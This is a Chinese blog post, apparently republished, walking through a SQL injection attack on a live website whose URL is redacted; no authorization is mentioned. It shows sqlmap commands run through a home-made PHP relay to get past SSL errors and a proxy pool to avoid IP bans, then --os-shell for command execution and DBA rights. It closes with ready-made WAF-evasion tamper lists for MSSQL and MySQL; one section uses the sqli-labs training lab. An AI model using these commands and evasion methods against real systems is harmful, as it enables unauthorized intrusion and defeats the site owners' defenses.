实战|sqlmap绕过WAF

2021-11-01|


前言

随着最近几年安全行业的兴起,市场关注度的不断提升,安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了,没有以前那么多所谓的“靶场”了,

在这次的实战中遇到的SQL注入与其他的有点不一样,需要考虑的东西很多!

实战演示

通过前期的信息收集发现存在注入的页面如下:


直接使用sqlmap跑发现出现如下错误:

python2 sqlmap.py -u "http://xxxx?&daxxtae=nullme=xxxxxx" --batch --delay=1 --random-agent
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.5.4.7#dev}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:12:10 /2021-10-10/
[10.12.10] [INFO] parsing HTTP request from '49'
custom injection marking character ('*') found in option '--data'. Do you want to process it?  [Y/n/q]Y
[10:12:10] [INFO] testing connection to the target URL
[10:12:10] [CRITICAL] can't establish SSL connection

一看无法建立SSL连接,好不容易发现一个注入点,难道就这样放弃了吗?


先百度一波,看看SSL证书原理,就用一张图来理解更直接明了。



那么遇到这样的情况要怎么绕呢?

在sqlmap中没有绕过SSL证书的参数,思考了很长时间,终于想起来原来貌似有一个中转注入。

这里要解决的第一个问题是有哪些脚本语言能够在请求网址时忽略SSL证书

第二个问题是我还需要使用sqlmap中的payload,这两个都要满足,通过查询了解到PHP可以使用参数来忽略SSL证书,由于并不是搞开发的,所以这里还是思考了很长时间,先来理解一下中转注入的原理吧。

中转注入的原理


首先我们我们来分析一下sqlmap中转注入的原理,如下图:



为了让大家更加容易解,先使用简单的脚本演示一遍,演示代码如下:



网上随便找需一个后面有参数的网站,添加到$urls变量中

将上述代码放在本地服务器中,然后访问,可以看到成功请求到我们添加的网站

使用sqlmap跑一下,设置一下代理使用burp来抓包

python2 sqlmap.py -u "http://127.0.0.1/zhongzhuan.php?x=1"  -v 3 --proxy=http://127.0.0.1:8080

成功看到各种payload

burp抓包的结果



此时中转脚本已经写好了,用sqlmap跑,没想到呀,既然流量有限制就算请求延迟调得很慢,还是直接将我的ip给封了

此时又是一个漫长的过程,又要继续思考了,在sqlmap中有代理设置参数,哈哈哈这都知道,但是试了试一试不可以,一直思考呀


首先我们借助了中转脚本,先请求的是我们的本地服务器,你说外网的代理服务器直接访问我本地服务器这是一个不现实的问题


最主要是我没有公网服务器,不然就好办了,所以现在需要思考两个问题,首先我要用到中转脚本过证书问题,还要能够使用代理,在PHP代码上使用代理池设置。


此时sqlmap先请求我们中转脚本(并没有用代理地址),中转脚本借助设置的代理地址迟访问目标网页。


现在代码修改成了如下:



在使用sqlmap跑的时候最好先本地测试一下,经过了20多分钟的扫描终于算是出东西了

直接看一下能否写shell,搞个高危,运气就是这么好

python2 sqlmap.py -u "http://xxxx?&daxxtae=nullm=xxx" --batch --delay=1 --random-agent --os-shell

成功拿到了dba权限

成功执行命令,不过是真的慢,可能是有防护软件原因吧。

在这里问题又来了,要是post型注入又该怎么办呢?


上面的脚本似乎不在使用思考了很长时间,但是也没有在实际中遇到,所以这里就想本地尝试一次。


post型中转注入

在注入天书中有post型注入,随便选了一个11关卡,抓取less-11关的包,注入点在登录框这里。



注入点为

uname=admin&passwd=hhh&submit=Submit

构造中转脚本如下:

使用sqlmap进行注入


首先注入我们的中转脚本

中转脚本通过获取的payload请求目标网站

成功跑出数据库


sqlmap绕过WAF的思路总结


1、设置请求头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

2、设置代理

--proxy=http://127.0.0.1:8080

3、设置延迟

--delay=1

4、利用--tamper参数中的编码脚本
常见编码搭配方式
普通tamper搭配方:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

5、自己编写中转脚本

原文地址:https://xz.aliyun.com/t/10385


标签: 中转 注入 脚本 sqlmap space 使用 代理 请求 一个 设置
出处: https://www.toutiao.com/a7024422378801365540/

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护